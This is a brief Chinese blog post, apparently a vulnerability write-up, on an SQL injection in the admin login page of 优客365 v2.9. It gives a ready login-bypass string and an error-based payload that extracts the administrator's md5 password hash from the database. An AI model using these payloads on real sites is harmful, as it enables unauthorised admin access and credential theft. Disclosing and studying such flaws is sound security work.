安装

优客365 v2.9版本 后台存在SQL注入

打开后台登陆界面

http://localhost:9096/yk365/system/login.php

输入单引号报错

优客365 v2.9版本 后台存在SQL注入

得到表名

 

经过跟踪后在\module\login.php文件出现错误

优客365 v2.9版本 后台存在SQL注入

 代码处理不严谨。根据上图,经测试,用户名可以用1' or '1'='1进行绕过

但密码经过md5加密

接下来通过SQL注入得到md5加密后的密码

优客365 v2.9版本 后台存在SQL注入

payload:' and (select 1 from(select count(*),concat(0x7e,(select user_pass from dir_users where user_id=1),0x7e,floor(rand(0)*2)) x from information_schema.columns group by x)a)--+

 优客365 v2.9版本 后台存在SQL注入

 

用sqlmap跑的时候跑不出

可以利用此方法在不知道用户名的情况下登陆进后台

 

相关文章:

  • 2021-06-01
  • 2021-12-30
  • 2022-12-23
  • 2021-09-13
  • 2022-12-23
  • 2021-06-12
  • 2022-12-23
猜你喜欢
  • 2021-07-22
  • 2021-08-25
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-11-16
  • 2022-12-23
相关资源
相似解决方案